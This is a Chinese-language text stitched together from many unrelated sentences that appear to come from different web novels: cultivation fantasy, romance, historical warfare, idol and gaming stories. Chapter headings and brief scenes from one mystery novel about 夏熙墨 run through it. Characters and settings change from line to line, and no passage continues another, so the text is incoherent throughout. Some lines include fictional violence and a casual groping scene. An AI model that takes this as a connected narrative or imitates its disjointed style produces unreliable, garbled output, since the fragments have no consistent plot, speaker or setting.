我当然不愿意戴这样的东西,我将发夹又拿了下来,但也没有还给她,就这么在自己的手中握着,而她也没有太在意我的排斥,继而坐在了车子旁边的花池上,吃着那只还在冒着热气的玉米,她的心情看上去很不错。
“紫魅屋途,要是我以后真的成了渲墨,你们怕吗?”元尾意兴阑珊的问。
单看弟子这样的实力,虽说在修仙界算是不错,可却算不上顶级。
然而,国师用遍所有招魂术法,花缅的命魂却好像石沉大海般没有任何回应。
龙月儿见其中盛的都是一块块褐‘色’的、不规则的什么,上面沾满黏糊糊的液体,瞧来倒有些怕人。
第一卷 第203章 是谁
“夏姑娘?”
任风玦的声音,让夏熙墨从怔忡之中回过神来。
她抬头看了他一眼,“怎么?”
“没什么,只是见你低头看着地上,以为是有什么发现…”
地上只有碎石与残雪。
夏熙墨神色已恢复如常,只简短回了他两个字;“没有。”
任风玦观察入微,知道她心中必然藏了什么事。
“达者为师,雷恩长老的实力比我可高多了,自然有资格做我的老师,请您务必不吝赐教!”李智谦逊地说道。
1989年1月2日早晨,赵蕙来到了学校,开始了新的一年的学习。课间,赵蕙来到学校传达室,还是没有收到那一张特殊的明信片。
所以,我让你们去找金夜炫,他会接受七琦的…而你,为了七琦,也该为你以前所做的一切赎罪吧?你,会帮助金夜炫的吧?
官场上不怕领导骂,就怕领导笑,尤其是出了事以后。领导愿意骂你,说明你还有机会,至少暂时没有被抛弃;如果出了事以后,领导还冲着你笑的话,结果可就难说难讲了。
宗风将手伸入刀疤脸的裤兜,果然,从里面摸出了一部电话,然后,他想也没想的就将电话扔出了车窗,一直飞向了道路旁的玉米地。
然而,抛飞出去的新兴顶尊们在神魂族的力量下身体迅速恢复,又再叫喊着冲了回去。
“多谢王叔,酒我就不喝了,今天我想过来再买几条狗去,王叔你也知道住在乡下还是得多养几条狗。”李智一过来就直奔主题,王叔知道熟知他的,李智如果和他不熟悉也不会如此直白,所以也不以为意,反倒是挺高兴。
在月光的映衬下,他的睡姿就如一个婴儿般令人疼惜,长长的睫毛和挺拔的鼻子,顿时令我出了神。
“还是先谈价格吧。”李智回避了阿卡拉最后的一句话,不过,却并未说死,或许,这纸张也可以成为一个长期的生意。
五一劳动节到了,学校放假一个星期。赵蕙在四月三十日晚上,坐上了通往银川的火车。
“我们中午吃面好还是烙饼好?”惠云正在和面,满脑子都是午饭做什么,没意识道薛黎的意思,信口问着“走?到哪儿去?
喊完之后,我瞪着已经发红的眼睛,死死的握着手里板砖,武六七见我是真的火了,早就跑到那个黑塔的跟前也不知道在摸索着什么。
在大家的共同的努力下,终于在太阳落山前看到了那高耸的城墙。
循着感应,罗天几个闪烁,来到了千米之外。这里,无尽的黑云集结,交织,重叠,幽深得好似无底深渊,能够吸收一切都光线,哪怕目光,同样会被隔绝。
“丫头,你到底怎么了?”萧逸云不禁再次问道,他非常迫切地想知道在月梦灵身上到底发生了什么事情。
一炷香之后,送信的官差已经被捆绑的像个粽子一般拖到了匪徒的前沿哨卡,那公差平日里也就是个不太灵光的,否则朱世庸也决不能派他来当这个送死鬼,但凡稍微精明一点,绝不敢从八公山下过。
“多谢佘大人。”细封都头浑身汗津津的,不仅是因为差点露了马脚,更是因为后心的匕首已经刺破了皮肤隐隐作痛,还好自己平日善于撒谎,这项本事没想到今天居然派上用场,救了自己一条命。
第一卷 第204章 拆穿
钟尚书的死讯传回钟府后,没过一会儿,便有下人来向钟鼎言报话。
声称,秋姨娘也在房中吊死了。
一天之内,钟家连续死了三人。
钟鼎言面上似有悲痛之情,眼底却全无伤心之意。
道路坑坑洼洼,充满了裂缝,地上随处可见一些碎纸片、易拉罐之类的垃圾。
在雾琦眼里,光明和黑暗就是这样,明明大家都会把一切搞的一团糟,但奥特战士总能拿着保护人类的话语,在地球上干涉其他生物的活动。
那个八首目人斩伪装的岛田壬狼以这种下克上的方式上位,一定会激起很多人的不满,根据忍者的情报,他上位才短短几天的时间,这么短的时间内一定不可能控制住所有的武士。
只是一生一世再开一次开机发布会就感觉有种莫名其妙的感觉,不过大差不差,走个过场罢了。
礼堂光感觉陈新实在是太过分了,现在居然让柿琦太一把他吞噬掉。
原本打算养在家里,奈何它们太吵了,每天嘎嘎跟怪笑似的,叫个没完。
龙头组织头目由自己担任,其成员自堂主一直到副帮主,均参战。五个组织人数共越一千人。
“我说了,你们知道了我不想暴露的秘密。”安娜微微一笑,但是在其他人眼里,这笑容仿佛来自死神,所有人都紧绷着身体。
他跟踪了这杜常几天,发现此人经常会在夜里外出,恰好最后一天杜常遇到了落单的外地人,将其打晕后,拿绳子绑回了家。
终于报到了徐澈的名字,一时间引得无数人侧目,很好奇是不是那个最近开始冒头的偶像演员徐澈,没有让他们失望,他们看见了一脸淡然的徐澈。
韩琦自己相信手下的忠诚,可是他不敢保证,有没有人被收买,万一出了点什么问题,他绝对承担不起。
空灵丘彻底确认了魂兽球的无害,顿时这个本来是用来捕捉它的魂器,瞬间变成了它的玩具。
施瓦本公爵奥托三世见大势已去,不得不带着商量骑士并部分军队仓皇撤退。
于是阿巴德·穆尔台米德王子打算给诺曼人一点颜色看看,他亲自率领10000步兵和800骑兵出阵,围攻托雷多北面的帕尔拉城。
现在,北宋的财务状况,已经向好转换,只要是把铁料节约的这些钱,给扣除出来,接近千万的收益,足以抹平整个赤字,甚至稍微几年,积累一部分,可以开启大型的工程。
为圣光神成立信仰分区,传播圣光神的伟大事迹,稳定信仰分区内的秩序,功劳巨大,贡献点增加一万点。
虽然说他没有什么整人的手段,但是司马芊芊的蛊,可是能让人想死都难的。
并且行省的土地、资源等都被罗马元老院宣布收归国有,成为国有财产,由国家经营、转让或出租。
“这是4件犀牛皮甲,我们会长说把这些东西交给你们,你们会为我们制作全新的装备,而且会长他还特意嘱咐我,要仔细观察你们的制作过程。”这名信使接着说道。
陆远虽然是远程那边顶流的明星,甚至,算的上是目前,除了林宝以外,网络上的顶流。
她一直认为,大佬收徒就跟电视剧里宗门收徒一样,要资质好的,要各种挑,结果到自己身上,都不一样了。
第一卷 第205章 赶考
若是如此行事,对丘力居所部十分有利,丘力居再刚听完蹋顿解释的时候,心中也有些意动。但是就在丘力居想要同意这计策的时候,却猛然想到了一个关键的问题。
只是,没走多远,诗瑶就感觉到不远处有危险在靠近,这一次,是真正的危险。可其它几人却什么也没发觉,大家依然不停的前行。
煌太子跑的欢,结果“哇”一声,一屁股摔进了他自个儿挖的雪坑里。
此处虽然是上谷郡,但是距离郡城尚有二百多里,且此处也并未有重大的军事行动,不可能有大队骑兵行走。
肖言咬紧了唇,他是医生,方才没有察觉,此时和殷时修离的近,便不难察觉殷时修的脸色极差,眼神有些涣散,他……生着病。
微爽家纺的远洋接着又来了个电话,说要开发几个系列的被芯花型,准备七月底的秋冬新品发布会,马上到公司。
“一般的参赛者基本上都可以用火焰将影像的形状模拟出来,但这一轮难就难在需要为模拟出来的人形注入气势,使之感受上去更为的逼真,就好像看到真人一样。”华岩靠在座椅上,看着场内的一切缓缓道。
“该死,这到底是什么地方,要是我三笑被困死在此处,那可真成了一个天大的笑话。”苟三笑愤愤道。
他在这里焦急的等了五天,今日终于等到了赵逸下令撤防的消息。略微打探得知赵逸竟然找到了想到治疗瘟疫的办法,且已经将药方无偿的告诉了周围郡县。
萧越见此眼神微动,他跟随李道元已经有近十年了,也不知道老师的房间中暗藏玄机,看来,李道元真的有手段,在距离比赛开始还有两天之际,提高他们一些实力,想到此处,以萧越的淡然,心底都是不由得涌上一丝激动。
唐大年也知道差不多了,可是被这样揍法,总特么的觉得是在自虐。
一个邪魅俊逸、刚毅迷人的男人,一个,血管里留着冰冷刺骨的血液的男人。
终于可以坐进温暖舒适的车子里,颜落夕不觉轻轻的舒了口气,厉安随后上了车,看着颜落夕依然瑟瑟发抖的样子,皱了皱眉。
他不说话,只是直勾勾看着她,想要从她一双眼眸直闯进她灵魂的最深处。
“杨洋,还去不去了?”在杨洋的身旁坐了下来,我压低声音说道。
看着LED的显示屏,一旁的许梦琪拿胳膊轻轻的撞了撞我的手臂说道!她那雪白细腻的肌肤,触摸着我的时候,就感觉被电了一下是的。
她没有当场结果他已经是很顾全大局了。至于凤仙儿,哼,跟她算账的时间,也应该不远了。
薛丽萍离开时,抱着颜落夕嚎啕大哭,后来很长的时间里,那撕心裂肺的哭声都在颜落夕的耳边回荡,一声声凄厉的哀号,就像动物绝望的悲鸣。
她到现在还有点恍惚,很多时候,她自己还像个孩子似的二乎乎的,怎么能做好一个孩子的母亲呢?
影卫的话音刚落,一股强大的气息迎面而来,直接将他打飞了出去。
晴人的问题,令真由根本没有心思去进行回答,毕竟家人失踪的事情,可是令真由一直都处于一种神经紧绷的状态,现在听到自己姐姐的消息,她可是绝对不想放过的。
第一战大败的荆州军给他们送了许多兵器皮甲,他们穿着尸体上扒下的衣服,闯入荆州乡野的集镇村落,见人就杀,见东西就抢,甚至前脚抢完后脚发现了更好的东西索性丢掉怀里的。
在陈元的请求下,周思彤再一次换岗到了刘全福的病房,自然是为了晚上刘全福能够脱身,做准备。
“碧血玉叶花是世上奇药,如其他人在这种情况下用之,必有疗效,但是此药端木姑娘用之,却未必奏效。”荀夫子继续说道。
【时笙仙男】:我拜托你们擦亮眼睛好不好?谁他妈的告诉你们,我和他是情侣了!?
这就像是噪音一样的音效响起,隆也是不得不说,不愧是变身时最吵的那位假面骑士。
装置发射器口端一圈圈光芒,在蓄能的时间里,一节一节的亮了起来,周围照明的灯光也在此时随着能量的增强,变得有些黯淡。
但是只不过潘四叔出现的时间不太对,并且他还支持潘元的意见,让他卸去族老之位,这一事件,潘世忠心中百味夹杂。
“你做不了主。”只是一句话将夏铁龙满肚子的话都给堵了回去。
作为岳山派掌门,作为天下第一高手,袁真清精通威慑之道、精通平衡之道,也精通妥协之道。袁真清刚才增援营救桑兴清,之所以让桑兴清退下掠阵,心里念的便是不能莽撞把事情做绝。
他满满的长舒一口大气,随后又轻叹一声,一失足成千古恨哇,万年身也回不了头,从今往后,自己在法盟的一切前途已成泡影,只能跟随这个所谓的‘神主教’随波逐浪,前程更是未卜。
说话间,孟修远右手食指连点,一道道罡气指力射出,将那些执法弟子接连点住穴道定在了原地。
「我诅咒你,哪天被手下的人给杀了,永世不得超生!」曲琼兰阴暗的想着。
显是岚氏堡主的为首九劫地仙却是蹇眉道,尽管传话者无影无踪,那句话听来也没有什么恶意,似是吾等同道之人,倒不如邀他过来一起商议,也听听他的计策到底如何。
“想必是看到了比赛,知道你得了第一之后,有了危机感。”江叔说道。
第一卷 第206章 抉择
夜雨的心思,她不是不明白,她有着倾世之容,有着可以魅惑人心的妩媚,但她却不想言爱,心死已如死海般沉寂,心门关的紧紧的,任谁都不能打开,谁,也不可以打开。
虽然知道她没说真话,但姜宜陵还是忍住了到嘴边的话,挑着眉梢走在前面带路。
最后关于神明的立场,他们除了有些义愤,倒是没什么其他表示。
这里的坑洞还在,只不过被钟不怨修整了一番,如今的坑口已经是一个相对较为规则的圆形,坑洞边上除了机关以外,还有两名弟子守着。
这人就是因麴球之荐,新投到麴爽军中,在攻兴一战中,立下功勋的狄道县人李亮。
眼看现场出现了难以想象的怪物,两国高层第一时间作出了决策,迅速下达命令。
这个军官身为禁军的高级将校,消息远比寻常的百姓灵通,已经风闻到,东唐的荆州刺史桓蒙近月秣马厉兵,似有攻成秦之势。
为首的火焰宗长老明显被气得火冒三丈,心口憋着一口怒气没地方发泄,只能是大声的咆哮起来,等他咆哮完,平复了一下心中的怒火之后,身边的一个长老这才开口说话。
若是没有之前百万道黑色法则气息击溃灰色巨眼的那一出,李无也许会斗志涣散,抱着能活一天就是赚一天的念头,从此声色犬马,把所有能享受的东西都享受一遍,才能死得不是那么遗憾。
杨平凡自从加入银河科技公司后,要么是训练,要么是穿越任务,一旦平时无事,确实也没什么事做,也没有多想,便答应下来了。
期间不少妖兽经过,鬼哭狼嚎,按月山脉的黑夜明显比白天恐怖得多,逼得林晨毅只能静坐养神。
那种眼神周奎似乎是第一次从楚子涯眼中看到过,一股寒意瞬间浸入全身。
“凛若姑娘不认识我了吗?”男子抬眸笑着说道,眼神紧跟着落在了凛若的身上。
徐恒看着满屋的尸体,面色如常,然后从怀中摸出一个白色手帕,仔细地擦拭着自己手中的软剑。
如果是那些真正稀少罕见的东西,哪怕价值不高,肖遥肯定也是舍不得出手的。
说着林潇潇就要抬起手装作抹眼泪,让林凯很无语,还好及时给拦了下来了,要不然得话待会这个林潇潇又要开始了。
陈广智看上去刚刚40岁出头,能在这个年龄成为本省排名前几的富豪,可见他的能力有多强。
想通之后,方玄身形一晃,立刻从杀戮空间脱离,回到了斗罗大陆。
关系好的凑上来打个招呼,关系一般的就在旁边起哄,徐家的人脸上洋溢着自豪和满足,徐展当兵,还有这么多朋友撑场子,面子算是赚足了。
被怼的青云上人也是和和气气并没有掌门的架子,他一直都是这样,眯着眼十足像一个和蔼的老人。但是真正了解他的人都知道,他越是这样,就越危险。
“不过我们这样做貌似有些不好吧?毕竟多管闲事……”宋溪有些顾虑。
虽然声音不大,但是莫琳培对自己的名字很敏感,立刻转头,看到寒华宇,立刻走了过来,眉眼弯弯道:“华宇,你回来了啦。”娇羞可人的挽上寒华宇的臂弯。
和天青吵架,和天青出去唱歌,和天青一起跨年,和天青一起写策划,和天青吃自己煮的菜。
杜诗韵深深地叹了一口气,她爸爸一把年纪了,他们之间的关系才缓和。她在想,如果不是她经历了很多事情,也看开了许多事情,可能这辈子她都不会和杜明和好的吧。
“我叫秦毅。”秦毅坐在沙发上,迎着这道充满审视的目光,觉得有些头皮发麻。
叶敏撇嘴,“你再爱我我就受不了了,难道你有恋姐情节,行了,别说这个讨人厌的丁晓飞,说说新民的事吧。”叶敏直接把叶梓晨所谓的爱理所当然的认为是亲情,反正这种话叶梓晨在她面前的时候也没少说,她也习惯了。
“其实你这句话已经矛盾了不是吗?既然知道压不住我,那如果我是品性不行的人不直接抢了?”叶天秀淡淡说道。
在数万伏高压下还能安然无事?连身上衣服都没有破烂分毫?他是绝缘体吗?
见刘氏这样,李清灵已经失去了耐心,她拉着柳之墨的手,抬脚就要走进去。
真正派对的东西还没有拿出来呢,天青翻了翻他哆啦A梦的神奇口袋,鬼知道那天他到底买了多少东西。
正如宋开道上一次逃走一样,同样的身法同样的手段,虽说毫无新意,但不得不说这个方法确实好用。
再看一眼自己包里装下的偷偷带回来的打歌服,不如坏笑就留在脸上,再也停不下来,不过究竟要如何做,却是一个万分苦恼的事情,需要一些主意呢,想着朋友里谁鬼点子最多,好吧,除了IU也不知道谁更合适了。
马车不是牛车,进了城是可以在城里通行的,所以不必寄放在城门处的车马歇脚处。
第一卷 第207章 波动
炎天穹看到这一幕,双眼猛地睁大,眼瞳甚至变得更加通红,显然有点激动。
难道说他废了那么大的力气去寻找木头,其实木头一直待在西风要塞,还是这个房间,只是他不知道?
姜一扬了结这件事后,雇了三辆大车,预备回星宿海祭拜爹娘,游永寿和简永言也主动要跟着他作亲随。随后粤南城的百姓大摆筵席,殷勤相送。
事实上,历代玄丹门之主,都是强大的战神之境,要不是上一任的玄丹门主惨死在蓝天的手中,死得太过突然,让玄丹门始料不及,不然的话,赵胜天肯定是成就战神之境,才会正式成为玄丹门之主。
顷刻间,整个山洞爆发一声震耳欲聋的巨响,地面剧烈摇晃起来,头顶上不断掉落尘埃与碎石。
当蓝风若有所思的时候,脑海中传来诸葛萱的声音,尽是哀求之意。
话音未落,赤云战神的额头上,浮现出三只眼睛,就跟那个五眼之人一样。
却是这个时候,沃不凡听到了院子里传来一阵声响,忍不住的,他瞪大了眼睛,仔细的观察院子里到底是什么声音。
狼族骑兵在正面被叶世楷带领的刑徒兵击溃,只能扭转马头,从两侧迂回过去。
同行而来的几人虽然想要阻止,但因为修为的缘故,根本拦不住,但他们知道要坏事的时候张磊已经举着砍刀向段浪冲了过去。
“嘿嘿,当时我就看见情况不对,提前溜了。”九戒颇为自得的说道。
在医院对姑姑说的那些话深深地伤害到了柯少宸,他觉得自己的尊严想被人踩在脚下,再毫不留情地撵上几脚,让他抬不起头来,甚至没脸见任何人。
然后,更多的人被推倒,更多的人踩了上来,一地铁蒺藜,顿时被一片一片染成了红色。粘稠的鲜血和铁蒺藜混在一起,看起来异常可怕。
“鲨鱼是黑吃黑的意思,家长就是领头人的意思,聚一聚是卸货的意思,而大鱼就是货很多”老蛇不假思索便说出来。
凌峰不想对苏梦隐瞒,既然自己的身份都告诉了苏梦,其它的也就没有必要隐瞒了。
回想起柯少宸说过的话,首先爱上的人,就表示他输得彻底。顾欣然一直不很同意,直到现在她才能够真正了解,这句话其实说得很对。
“我也没问题。”混子也是点了点头,能上峡谷之巅那是最好的了,可算能摆脱钻三守门员这个称呼了。
“今天这鱼有些多呀,是往日的两倍?”一个穿着短袖的青年一边搬着箱子,一边问道。
这个问题柯少宸很早就问过他,顾欣然究竟是怎样的人,这个问题不应该柯少宸最清楚吗?
岩雀上尝试消耗了一波铁男,发现效果微乎其微,反倒是她自己平分了自家上单两个兵的经验。
如今已经时至深秋,遍地的金黄,农民都开始忙起来了收割,一片欣欣向荣的景象。
“主人,睡下了吗?彩衣有事情与您说。”彩衣的声音传了进来。
“光州这么多有钱人,你生得标致,就傍不上一个富豪?做人二奶也行,我就不信?”电话中传出的是一个男子的声音,非常细微,但都落到了伍樊耳中。
“多少钱?”大旭冷笑,如今他正是缺手机的时候,对方却把手机送上门来,自然顺了他的心意。
卫度此次来幻城就是为了杜康酒而来,由于事先和张韵婷有过交流,所以在来的路上早就对秦墨禹所定的规则弄清楚了。
“这都是命,”魏启明接下来的话让余刚听得云里雾里,于是余刚也没有了聊天的兴致,把头转向了窗外。
而古辰等人,他们在如今的这个时候,他们这也都是在第一时间得知了这里的情况了,顿时,他们便都急忙冲了出来,向着天空上看了过去。
“前辈,墨禹不会有事吧!”泫雅看秦墨禹迟迟醒不过来!焦急的问。
看着越来越多的兵虫,我心里已经开始绝望了。我知道一旦境界消耗完我的精气神,我马上就会被兵虫撕成碎片。
“只要能把老曹救出来,我听你们的,”方惠点了点头,让自己的情绪平缓下来。
叶青飞到一半之时,一道声音响起,叶青往下看去,竟然是景天他们。叶青不耐烦的叹了口气,飞了下去。
她做什么都挺利索的,但对于织围巾这事儿,却是笨拙得很。开始织的并不像,只得去找阿姨求救。
前一星期,我每天上班的任务就是陪他捣鼓那破半导体,哥们充分发挥了工科男孜孜不倦的求知精神,调不到台子还沙沙响噪音大是吗?
“还是要经过我父亲的同意,我们要尊重他的意见。”水水也是考虑到家人,而穆子瑜这么心急,还是要通过自己父亲的审核。
叶青喃喃道,看来是领悟御剑术意境的时候用去了,诶,山中方一日,世上已千年。
才刚走了几步手机就响了起来,她将手机拿了出来,才发现是程容简打来的电话。她边走边接了起来,喂了一声。
“没本事还敢跟老子对着干,就是这种下场!”慕容坤见我倒地还不肯罢手,用力踹了我的大腿一脚。
穆白点头,辞别玄易子,叮嘱澜沧子在他离开之时,不可妄生事端,便与绿菱走下息峰,乘鹤到了雾峰,会合开阳、吴馨儿、沫语瞳三人,向昊天峰赶去。
第一卷 第208章 牵扯
夏熙墨在苍茫的夜色中站了一会儿,内心才逐渐恢复平静,却在这时,听见身后传来脚步声。
“夏姑娘。”
任风玦已经跟了上来。
从夏熙墨出钟府后,他就一直紧跟其后。
“你真的变了呢!说的这番话,很有道理,很震撼人,这就是你的另一面,伊兮羽欢嘛?”李秀满轻声说着。
范炎炎恍惚的点了点头,他目送着李曼妮离开,心里却还在想着欧阳雪琪的事。
被施杰扭着手指的人听到沈成韧和施杰的对话,瞬间觉得后悔了,要是能收回自己说的那些话,他一定立马收回来。
他嘻嘻笑了笑,弯了弯眉毛,定睛看着她娇羞的面庞。冷艳,带着一丝红。
康桥心底突然升起一股豪情,男子汉大丈夫的豪情,所以一把又揽住了她的身体。
长乐公主自然是在他的面前得意洋洋,不敢把自己的那些不堪表现出来,在燕国宫中的人一直都是在勾心斗角,别人会喜欢我?除非是自己眼瞎了,或者是耳朵聋了,看不见听不见的还差不多。
宁仟听这声音,后颈子就开始发凉,总感觉“嗖嗖”地冒着冷风。
“能做一个合格的战区司令官者还真的不好寻找。卫俊如算一个,郭寄峤算一个,薛岳、李德邻勉强合格,其他人我还真的想不出来谁能胜任!”周副统帅感慨的补充。
“没有,真的没什么的。”王灵不敢把头转过来看着李艳说话,她害怕自己看着大姐的眼睛,没有说谎话的勇气,害怕自己说出了事情的真相。
萧楚也是高兴,出去了以后便是抱着沈容转了好几个圈,那沈欣也是知道了此事,便是想着来恭喜沈容,却是看着太子妃进来,便是立马就收回了脚步。
“ok!”龙至言自信的回应着,眼神微微跨过八人的距离,在正在镜子前补妆的金泰妍身上停下,一种说不清道不明的感觉,就只是看着这段距离之中相隔的她,嘴角竟然有些不由自主的扬起弧度。
然后呢?然后这伙土匪又搭上了满人,又是一阵屠杀,一路杀进了山海关,杀到了北京,杀到了江南,杀的到处都是血,杀的处处都是白骨。
“我感觉今天洋洋有点不对劲,你看的?”许国栋对自己的老婆问道。
“不要这样看着我,事实上我也没有想到会是她!”李天双手一摊看着王雅芝说道。
暴龙怔怔的看着那缓缓关上的合金大门,他一直以为,这个胖只是一个机甲格斗高手而已,现在,他知道,他错了,这个胖的能力比他想象的大得多,从这几个猛兽冒险团的团员对他一脸的尊重就看的出。
王医生点了点头。和杨欣握手。问好。态度很亲切。这是个很容易给人好感的男人。
在瑞德尔星球上面。邹川花了大量地时候观察斑斓壳虫。但是。他始终没有搞清楚斑斓壳虫是如何离开星球地。而且。他也不明白。为什么瑞德尔帝国地军队没有组织反攻?
“今天晚上再来感谢我吧!”李天笑着对周敏说道,然后趁着其他人没有注意,狠狠的在对方的翘褪上摸了一下。
首先,城门口那无时无刻都存在着的城卫队不在了。。。不仅仅不在了,而且,在大街上也根本看不到任何人影。
第一卷 第209章 阴司
“望着我做什么?”
夏熙墨仍是一副事不关己的态度,却把事情推回给了颜正初,“你既有办法,那便照着你的办法去做。”
“啊?”颜正初一脸茫然,小声嘀咕:“我也没说我有办法啊…”
忽然间,他又从夏熙墨的眼神之中明白了什么…
“方钱,路侯,你们别太过分了!魔夜大人不会放过你们的。”倒地吐血的冯狼立刻回了一声。
廖婷、翟凌等人同列浮屠门长老之位,不过大家私底下仍然习惯以师兄弟辈分互相称呼。
接下来就是乌木的分配,这东西被夜王直接拿下,他是要做弓手的,轻甲是弓手最佳的装备类型,以他的财力是不会错过这种东西,一番磋商后夜王直接让大家报账号,给每人冲了一张月卡了事,拿走了乌木。
“拖斯般满动岩”,意为卜松毛卦峰,也称白雪山。由丽不平原中看它,像是一座竖立起来的银铧。
施润被他的气息覆盖,透不过气,呼吸又被他剥夺干净,脖子以上都像有火在烧。
水天澜拿出了长灵液,在封七的帮助下灌入他的口里,又拿出了复元丹给他吞下,正在这时,左边突然一声兴奋的‘天澜!’,让大家都转过头去。
军塞上的匪军也是惊呼声响成一片。此起披伏。城门楼上的头领大声喝骂,督促弓弩手放箭。
但他好像挺喜欢给她量腰围的,施润却窘,扭捏的不想,不让他碰。
“叛徒还这么嚣张?”北极熊怒了,一把抄起旁边的大铁棍子就准备招呼鹰隼。
然而狂热者也有魔法师,这些魔法师居高临下,虽然只能施放一些初中级魔法,但是重点打击月冷佣兵团的魔法师,凭借着人数众多,在一轮轮的魔法施放下,终于是对月冷佣兵团的魔法师造成了打击伤害。
“你们看,这个生物竟然有四个心脏。”一个生物学家兴奋的叫道。
那不知从何而来的男子,竟一掌废了孔扬,还直接对朝云峰宣战。
李管家咂了咂嘴,这时一只手忽然伸了过来,硬掰着他的嘴巴,然后倒了几条虫子进去。
萧正通哑口无言,心中或有不甘,他看出了骆绝尘的决意,所以,除非强抢,其他别无办法能从她那里得到这花。
无尘子长刀一甩,想要将杨海击退,动作却慢了不止一拍,被其反身咬上手臂,痛得她大喝一声,危急时刻,连忙将脖子上的护符拽了下来,口中发出短暂咒语声。
说完甄宝卿便直接带着人离开,一直到回了酒店,把云南分公司的人给喊过来,她的心情看起来才好了那么一些。
怪物之前都是生活在地下的,也不知道受了什么刺激,现在全都冒了出来。
何况世间早有传闻,江月白闯出北冥雪域的战绩有猫腻,她也确实想要众人知晓,江月白,是有可能与他们北冥王族搭上关系的,尽管如果四人表决,她肯定拗不过其他三位而已。
因为神皇死了,而天神会的首座,这位神皇最得力的干将,早已盯死了他。
本来是想着生日给她惊喜,如今看来是喜是忧还不一定,也就不用非等着生日的时候再拿出来了。
凌霄目光一寒,直接一道掌刀落下,将这两个大洪古国的青年打晕了过去,然后纵身而起,化成了一道金色的闪电,朝着远处飞速掠去。